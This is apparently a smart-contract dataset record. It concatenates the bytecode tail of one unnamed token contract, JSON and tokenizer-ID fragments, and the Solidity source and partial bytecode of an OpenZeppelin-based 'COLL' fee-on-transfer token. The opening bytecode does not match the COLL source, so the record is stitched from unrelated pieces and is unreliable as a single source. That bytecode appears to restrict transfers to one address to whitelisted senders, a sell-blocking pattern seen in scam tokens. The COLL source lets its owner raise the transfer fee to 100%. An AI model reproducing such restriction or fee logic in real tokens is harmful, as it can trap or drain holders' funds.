73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ccb9190611529565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3f90611489565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610db8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610daf906113e9565b60405180910390fd5b610dc3838383610f57565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4090611429565b60405180910390fd5b8181610e5591906115d1565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee5919061157b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f499190611529565b60405180910390a350505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561103a57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611039576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611030906114c9565b60405180910390fd5b5b505050565b60008135905061104e816119d7565b92915050565b600081359050611063816119ee565b92915050565b60008135905061107881611a05565b92915050565b6000602082840312156110945761109361171d565b5b60006110a28482850161103f565b91505092915050565b600080604083850312156110c2576110c161171d565b5b60006110d08582860161103f565b92505060206110e18582860161103f565b9150509250929050565b6000806000606084860312156111045761110361171d565b5b60006111128682870161103f565b93505060206111238682870161103f565b925050604061113486828701611069565b9150509250925092565b600080604083850312156111555761115461171d565b5b60006111638582860161103f565b925050602061117485828601611054565b9150509250929050565b600080604083850312156111955761119461171d565b5b60006111a38582860161103f565b92505060206111b485828601611069565b9150509250929050565b6111c781611605565b82525050565b6111d681611617565b82525050565b60006111e78261155f565b6111f1818561156a565b935061120181856020860161165a565b61120a81611722565b840191505092915050565b600061122260238361156a565b915061122d82611733565b604082019050919050565b600061124560228361156a565b915061125082611782565b604082019050919050565b600061126860268361156a565b9150611273826117d1565b604082019050919050565b600061128b60288361156a565b915061129682611820565b604082019050919050565b60006112ae60208361156a565b91506112b98261186f565b602082019050919050565b60006112d160258361156a565b91506112dc82611898565b604082019050919050565b60006112f460248361156a565b91506112ff826118e7565b604082019050919050565b600061131760148361156a565b915061132282611936565b602082019050919050565b600061133a60258361156a565b91506113458261195f565b604082019050919050565b600061135d601f8361156a565b9150611368826119ae565b602082019050919050565b61137c81611643565b82525050565b61138b8161164d565b82525050565b60006020820190506113a660008301846111be565b92915050565b60006020820190506113c160008301846111cd565b92915050565b600060208201905081810360008301526113e181846111dc565b905092915050565b6000602082019050818103600083015261140281611215565b9050919050565b6000602082019050818103600083015261142281611238565b9050919050565b600060208201905081810360008301526114428161125b565b9050919050565b600060208201905081810360008301526114628161127e565b9050919050565b60006020820190508181036000830152611482816112a1565b9050919050565b600060208201905081810360008301526114a2816112c4565b9050919050565b600060208201905081810360008301526114c2816112e7565b9050919050565b600060208201905081810360008301526114e28161130a565b9050919050565b600060208201905081810360008301526115028161132d565b9050919050565b6000602082019050818103600083015261152281611350565b9050919050565b600060208201905061153e6000830184611373565b92915050565b60006020820190506115596000830184611382565b92915050565b600081519050919050565b600082825260208201905092915050565b600061158682611643565b915061159183611643565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156115c6576115c56116bf565b5b828201905092915050565b60006115dc82611643565b91506115e783611643565b9250828210156115fa576115f96116bf565b5b828203905092915050565b600061161082611623565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561167857808201518184015260208101905061165d565b83811115611687576000848401525b50505050565b600060028204905060018216806116a557607f821691505b602082108114156116b9576116b86116ee565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f736f6d657468696e672077656e742077726f6e67000000000000000000000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6119e081611605565b81146119eb57600080fd5b50565b6119f781611617565b8114611a0257600080fd5b50565b611a0e81611643565b8114611a1957600080fd5b5056fea2646970667358221220143c4ad40d90c3ed2db2c5f920e95d68f4c8d8c008f5ba5481f9515f6c888f4764736f6c63430008070033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 28311, 27531, 26187, 2620, 2546, 2620, 16048, 21057, 2278, 2549, 2497, 2620, 2581, 2094, 17914, 2620, 17465, 12521, 2683, 27814, 2475, 2063, 23833, 2620, 2683, 2546, 17914, 2629, 1013, 1008, 1008, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 18804, 1011, 11817, 1996, 4070, 6016, 1998, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,644
0x957891c11616d3e0b0a76a76fb42724c382e0ef3
// File: @openzeppelin/contracts/utils/Context.sol // SPDX-License-Identifier: None pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/token/ERC20/ERC20Burnable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { using SafeMath for uint256; /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } // File: contracts/AddrArrayLib.sol pragma solidity ^0.7.6; library AddrArrayLib { using AddrArrayLib for Addresses; struct Addresses { address[] _items; } /** * @notice push an address to the array * @dev if the address already exists, it will not be added again * @param self Storage array containing address type variables * @param element the element to add in the array */ function pushAddress(Addresses storage self, address element) internal { if (!exists(self, element)) { self._items.push(element); } } /** * @notice remove an address from the array * @dev finds the element, swaps it with the last element, and then deletes it; * returns a boolean whether the element was found and deleted * @param self Storage array containing address type variables * @param element the element to remove from the array */ function removeAddress(Addresses storage self, address element) internal returns (bool) { for (uint i = 0; i < self.size(); i++) { if (self._items[i] == element) { self._items[i] = self._items[self.size() - 1]; self._items.pop(); return true; } } return false; } /** * @notice get the address at a specific index from array * @dev revert if the index is out of bounds * @param self Storage array containing address type variables * @param index the index in the array */ function getAddressAtIndex(Addresses storage self, uint256 index) internal view returns (address) { require(index < size(self), "the index is out of bounds"); return self._items[index]; } /** * @notice get the size of the array * @param self Storage array containing address type variables */ function size(Addresses storage self) internal view returns (uint256) { return self._items.length; } /** * @notice check if an element exist in the array * @param self Storage array containing address type variables * @param element the element to check if it exists in the array */ function exists(Addresses storage self, address element) internal view returns (bool) { for (uint i = 0; i < self.size(); i++) { if (self._items[i] == element) { return true; } } return false; } /** * @notice get the array * @param self Storage array containing address type variables */ function getAllAddresses(Addresses storage self) internal view returns(address[] memory) { return self._items; } } // File: contracts/COLL.sol pragma solidity ^0.7.6; contract CollToken is ERC20Burnable { using SafeMath for uint256; using AddrArrayLib for AddrArrayLib.Addresses; /** * @dev Emitted when owner change fee account and fee amount. */ event UpdateTaxInfo(address indexed owner, uint indexed feePercent); uint public constant PRECISION = 100; uint public constant INITIAL_SUPPLY = 50000000 * 10**18; address public _owner; address public _feeAccount; uint public _feePercent; // List of no fee addresses when transfer token AddrArrayLib.Addresses noFeeAddrs; constructor(address feeAccount, uint feePercent) ERC20("Collateral", "COLL") { require(feeAccount != address(0), "Coll: fee account from the zero address"); _feeAccount = feeAccount; _feePercent = feePercent; _owner = _msgSender(); _mint(_msgSender(), INITIAL_SUPPLY); } /** * @dev Update the fee collector and the percent of fee from transfer operation */ function updateTaxInfo(address feeAccount, uint feePercent) external { require(feeAccount != address(0), "Coll: fee account from the zero address"); require(feePercent <= PRECISION, "Coll: incorrect fee percent"); require(_owner == _msgSender(), "Coll: updated tax info from no-owner address"); _feeAccount = feeAccount; _feePercent = feePercent; emit UpdateTaxInfo(feeAccount, feePercent); } /** * @dev Push non-fee address */ function addNoFeeAddress(address addr) external { require(_owner == _msgSender(), "Address: pushed address from no-owner address"); noFeeAddrs.pushAddress(addr); } /** * @dev Pop non-fee address */ function removeNoFeeAddress(address addr) external { require(_owner == _msgSender(), "Address: pop address from no-owner address"); require(noFeeAddrs.removeAddress(addr), "Address: address does not exist"); } /** * @dev Check if address is existed in non-fee address list */ function isExisted(address addr) public view returns (bool) { return noFeeAddrs.exists(addr); } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal override { require(sender != address(0), "Coll: transfer from the zero address"); require(recipient != address(0), "Coll: transfer to the zero address"); if (isExisted(sender) || _feePercent == 0) { super._transfer(sender, recipient, amount); } else { uint256 _fee = amount.mul(_feePercent).div(PRECISION); uint256 _recepientAmount = amount.sub(_fee); super._transfer(sender, recipient, _recepientAmount); super._transfer(sender, _feeAccount, _fee); } } }
0x608060405234801561001057600080fd5b50600436106101425760003560e01c806379cc6790116100b8578063aaf5eb681161007c578063aaf5eb68146103d1578063b2bdfa7b146103d9578063ca62a099146103fd578063dd62ed3e14610405578063f5b025b114610433578063f7d5820f1461045957610142565b806379cc67901461031f57806395d89b411461034b578063a457c2d714610353578063a9059cbb1461037f578063aaad0c84146103ab57610142565b8063313ce5671161010a578063313ce5671461025c578063395093511461027a57806342966c68146102a65780635a708bd8146102c557806369222948146102f157806370a08231146102f957610142565b806306fdde0314610147578063095ea7b3146101c457806318160ddd1461020457806323b872dd1461021e5780632ff2e9dc14610254575b600080fd5b61014f61047f565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610189578181015183820152602001610171565b50505050905090810190601f1680156101b65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f0600480360360408110156101da57600080fd5b506001600160a01b038135169060200135610515565b604080519115158252519081900360200190f35b61020c610533565b60408051918252519081900360200190f35b6101f06004803603606081101561023457600080fd5b506001600160a01b03813581169160208101359091169060400135610539565b61020c6105c0565b6102646105cf565b6040805160ff9092168252519081900360200190f35b6101f06004803603604081101561029057600080fd5b506001600160a01b0381351690602001356105d8565b6102c3600480360360208110156102bc57600080fd5b5035610626565b005b6102c3600480360360408110156102db57600080fd5b506001600160a01b03813516906020013561063a565b61020c610781565b61020c6004803603602081101561030f57600080fd5b50356001600160a01b0316610787565b6102c36004803603604081101561033557600080fd5b506001600160a01b0381351690602001356107a2565b61014f6107fc565b6101f06004803603604081101561036957600080fd5b506001600160a01b03813516906020013561085d565b6101f06004803603604081101561039557600080fd5b506001600160a01b0381351690602001356108c5565b6101f0600480360360208110156103c157600080fd5b50356001600160a01b03166108d9565b61020c6108e6565b6103e16108eb565b604080516001600160a01b039092168252519081900360200190f35b6103e16108ff565b61020c6004803603604081101561041b57600080fd5b506001600160a01b038135811691602001351661090e565b6102c36004803603602081101561044957600080fd5b50356001600160a01b0316610939565b6102c36004803603602081101561046f57600080fd5b50356001600160a01b031661099d565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561050b5780601f106104e05761010080835404028352916020019161050b565b820191906000526020600020905b8154815290600101906020018083116104ee57829003601f168201915b5050505050905090565b6000610529610522610ab3565b8484610ab7565b5060015b92915050565b60025490565b6000610546848484610ba3565b6105b684610552610ab3565b6105b18560405180606001604052806028815260200161139c602891396001600160a01b038a16600090815260016020526040812090610590610ab3565b6001600160a01b031681526020810191909152604001600020549190610cb2565b610ab7565b5060019392505050565b6a295be96e6406697200000081565b60055460ff1690565b60006105296105e5610ab3565b846105b185600160006105f6610ab3565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610a52565b610637610631610ab3565b82610d49565b50565b6001600160a01b03821661067f5760405162461bcd60e51b81526004018080602001828103825260278152602001806113c46027913960400191505060405180910390fd5b60648111156106d5576040805162461bcd60e51b815260206004820152601b60248201527f436f6c6c3a20696e636f7272656374206665652070657263656e740000000000604482015290519081900360640190fd5b6106dd610ab3565b60055461010090046001600160a01b0390811691161461072e5760405162461bcd60e51b815260040180806020018281038252602c815260200180611479602c913960400191505060405180910390fd5b600680546001600160a01b0319166001600160a01b03841690811790915560078290556040518291907fe0820caa739958426b6b8f2346bd3297e331a653f6b89a222ba4bce340f55c0390600090a35050565b60075481565b6001600160a01b031660009081526020819052604090205490565b60006107d9826040518060600160405280602481526020016113eb602491396107d2866107cd610ab3565b61090e565b9190610cb2565b90506107ed836107e7610ab3565b83610ab7565b6107f7